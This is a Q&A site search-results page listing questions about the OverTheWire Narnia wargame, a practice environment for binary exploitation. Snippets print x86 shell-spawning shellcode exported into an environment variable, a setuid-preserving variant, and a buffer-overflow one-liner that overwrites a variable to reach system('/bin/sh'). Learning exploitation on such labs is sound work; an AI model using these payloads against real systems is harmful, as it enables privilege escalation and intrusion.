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Results for narnia
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0
votes
1
answer
266
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Exporting shellcode to environment variable doesn't work as expected
(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner )
When exporting shellcode to EGG environment variable
export … EGG=`python3 -c "import sys; sys.stdout.buffer.write(b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80')"`
/narnia/narnia1
Give me something to execute at …
1
vote
Buffer overflow with zeros
There are so many tutorials on entry level buffer overflows out there (like any walkthrough for overthewire narnia). Working through any of them will answer a lot of questions.
Have fun! …
- 1,121
0
votes
0
answers
236
views
Different gdb results
I'm trying to use overthewire narnia problems as a way to learn about binary exploitation and I'm getting different results than any of the walkthroughs
I was looking at https://tuonilabs.wordpress.com … /2017/05/13/overthewire-narnia-write-up/ for 'Level 2' and started off by used peda to create a pattern - I ran the program with this pattern and it segfaulted - I used x/s $esp in gdb and got the value …
- 123
1
vote
Shellcode does not execute as the owner
shellcode string:-
"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
And here's how to use it:-
narnia1@narnia … :/narnia$ export EGG=`python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
narnia1@narnia:/narnia …
- 111
1
vote
2
answers
3k
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Shellcode does not execute as the owner
narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x 2 root root 4096 Nov 9 15:08 .
drwxr-xr-x 25 root root 4096 Mar 12 09:58 .. … @narnia:/narnia$ . …
- 11
2
votes
1
answer
2k
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Why is the setuid bit not working when I execute this binary?
I am currently going through the Narnia challenges on overthewire.org. For the 1-->2 challenge, I am running into an issue that I can't seem to get around. … I tried running my eggcode.c program in the narnia directory instead of the tmp, but that didn't work either. …
- 21
1
vote
1
answer
753
views
Shell not always escalating privileges in narnia
I'm going through the various overthewire wargames and I have a question about narnia0. The code in c contains
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
I got it to wor …
- 63
3
votes
0
answers
2k
views
system("/bin/sh") exits without waiting for user input [OverTheWire narnia0 challenge] [closed]
\n");
exit(1);
}
return 0;
}
Sample run :
narnia0@melinda:/narnia$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'") | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef! … val: 0xdeadbeef
narnia0@melinda:/narnia$ …
- 113
14
votes
Accepted
How difficult it was to crack Navajo's language during WW2?
In the case of AES 256 bit (two-way):
[English with key]
Find Potter and bring him to Narnia. The Death Star is ready for our war against the Time Lords. …
- 22.6k